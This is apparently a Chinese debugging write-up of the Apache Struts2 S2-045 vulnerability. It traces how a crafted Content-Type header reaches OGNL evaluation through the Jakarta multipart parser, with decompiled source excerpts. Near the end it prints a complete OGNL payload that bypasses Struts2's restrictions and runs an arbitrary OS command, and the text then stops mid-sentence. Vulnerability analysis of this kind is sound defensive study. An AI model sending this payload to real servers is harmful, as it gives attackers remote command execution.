Struts2漏洞调试笔记[S2-045]

[1] 漏洞信息

https://cwiki.apache.org/confluence/display/WW/S2-045

从官方的漏洞简述中,可以得知当得到的Content-Type不是一个预期的值时,会抛出一个异常,而在这个过程则会触发RCE。而触发的过程直接与Jakarta解析器相关。

[2] Struts2 上传机制

在进行Struts2上传机制的说明之前,需要对Struts2如何进行HTTP处理进行一定的了解。

Struts2作为一个表示层框架,从功能上来说,必须要能够处理HTTP请求,Struts2通过实现标准的Filter接口来进行HTTP请求的处理。而Struts2的运行逻辑主线可以分为:

我们这里着重看Struts2处理HTTP请求的部分,doFilter方法在过滤器StrutsPrepareAndExecuteFilter中实现,而在处理HTTP请求这条主线中,又可以分成两个阶段:

先浏览doFilter部分的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest)req;
HttpServletResponse response = (HttpServletResponse)res;
try {
if (this.excludedPatterns != null && this.prepare.isUrlExcluded(request, this.excludedPatterns)) {
chain.doFilter(request, response);
} else {
this.prepare.setEncodingAndLocale(request, response);
this.prepare.createActionContext(request, response);
this.prepare.assignDispatcherToThread();
request = this.prepare.wrapRequest(request);
ActionMapping mapping = this.prepare.findActionMapping(request, response, true);
if (mapping == null) {
boolean handled = this.execute.executeStaticResourceRequest(request, response);
if (!handled) {
chain.doFilter(request, response);
}
} else {
this.execute.executeAction(request, response, mapping);
}
}
} finally {
this.prepare.cleanupRequest(request);
}
}

request = this.prepare.wrapRequest(request);这一句开始,便与我们这次要分析的S2045密切相关了。

由于Struts2中并没有专门开发请求解析器,因此对于mutipart/form-data的请求,Struts2会通过调用其它的请求解析器去进行解析处理,在default.properties中,设置了默认的解析器为Jakarta:

以本次利用为例,列出部分调用顺序为:

在进入JakartaMultiPartRequest后,便已经开始了对上传请求的处理,在buildErrorMessage处下断点步入:

继续步入LocalizedTextUtil.findText:

步入findText:

findText中,最后的触发函数为getDefaultMessage:

而在getDefaultMessage中,重点在于以下几句:

1
2
3
4
5
if (message != null) {
MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);
String msg = formatWithNullDetection(mf, args);
result = new LocalizedTextUtil.GetDefaultMessageReturnArg(msg, found);
}

可以发现,我们构造的Content-Type被带入了TextParseUtil.translateVariables:

1
2
3
public static String translateVariables(String expression, ValueStack stack) {
return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, (TextParseUtil.ParsedValueEvaluator)null).toString();
}

继续跟入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static Object translateVariables(char[] openChars, String expression, final ValueStack stack, final Class asType, final TextParseUtil.ParsedValueEvaluator evaluator, int maxLoopCount) {
TextParseUtil.ParsedValueEvaluator ognlEval = new TextParseUtil.ParsedValueEvaluator() {
public Object evaluate(String parsedValue) {
Object o = stack.findValue(parsedValue, asType);
if (evaluator != null && o != null) {
o = evaluator.evaluate(o.toString());
}

return o;
}
};
TextParser parser = (TextParser)((Container)stack.getContext().get("com.opensymphony.xwork2.ActionContext.container")).getInstance(TextParser.class);
return parser.evaluate(openChars, expression, ognlEval, maxLoopCount);
}

我们可以观察到evalute函数便是对parsedValue进行OGNL表达式的处理:

1
2
3
4
5
6
7
8
public Object evaluate(String parsedValue) {
Object o = stack.findValue(parsedValue, asType);
if (evaluator != null && o != null) {
o = evaluator.evaluate(o.toString());
}

return o;
}

触发点便在return语句中

1
return parser.evaluate(openChars, expression, ognlEval, maxLoopCount);

跟入evaluate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
public Object evaluate(char[] openChars, String expression, ParsedValueEvaluator evaluator, int maxLoopCount) {
Object result = expression = expression == null ? "" : expression;
int pos = 0;
char[] arr$ = openChars;
int len$ = openChars.length;
for(int i$ = 0; i$ < len$; ++i$) {
char open = arr$[i$];
int loopCount = 1;
String lookupChars = open + "{";
while(true) {
int start = expression.indexOf(lookupChars, pos);
if (start == -1) {
++loopCount;
start = expression.indexOf(lookupChars);
}
if (loopCount > maxLoopCount) {
break;
}
int length = expression.length();
int x = start + 2;
int count = 1;
while(start != -1 && x < length && count != 0) {
char c = expression.charAt(x++);
if (c == '{') {
++count;
} else if (c == '}') {
--count;
}
}
int end = x - 1;
if (start == -1 || end == -1 || count != 0) {
break;
}
String var = expression.substring(start + 2, end);
Object o = evaluator.evaluate(var);
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
String middle = null;
if (o != null) {
middle = o.toString();
if (StringUtils.isEmpty(left)) {
result = o;
} else {
result = left.concat(middle);
}

if (StringUtils.isNotEmpty(right)) {
result = result.toString().concat(right);
}
expression = left.concat(middle).concat(right);
} else {
expression = left.concat(right);
result = expression;
}
pos = (left != null && left.length() > 0 ? left.length() - 1 : 0) + (middle != null && middle.length() > 0 ? middle.length() - 1 : 0) + 1;
pos = Math.max(pos, 1);
}
}

return result;
}

此处的evaluate在类OgnlTextParser中实现,简单阅读源码后能发现,主要功能为识别出Content-Type中的OGNL表达式并加以执行。而执行的语句为Object o = evaluator.evaluate(var);,这里的evaluate是在translateVariables中已声明的函数,实现代码在上面,不额外贴了。至此,S2045的触发流程分析完毕。

关于POC

网上流传的POC主要为:

1
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='open /Applications/Calculator.app').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

其中第一部分的(#nike='multipart/form-data')是由于在PrepareOperations@wrapRequest中有以下条件判断:

1
2
3
4
5
6
7
if (content_type != null && content_type.contains("multipart/form-data")) {
MultiPartRequest mpr = this.getMultiPartRequest();
LocaleProvider provider = (LocaleProvider)this.getContainer().getInstance(LocaleProvider.class);
request = new MultiPartRequestWrapper(mpr, request, this.getSaveDir(), provider, this.disableRequestAttributeValueStackLookup);
} else {
request = new StrutsRequestWrapper(request, this.disableRequestAttributeValueStackLookup);
}

POC中其余部分便是很正常的对过滤措施的绕过了,因此只要我们的Content-Type只要包含multipart/form-data即可,比如像下面的poc也是可行的: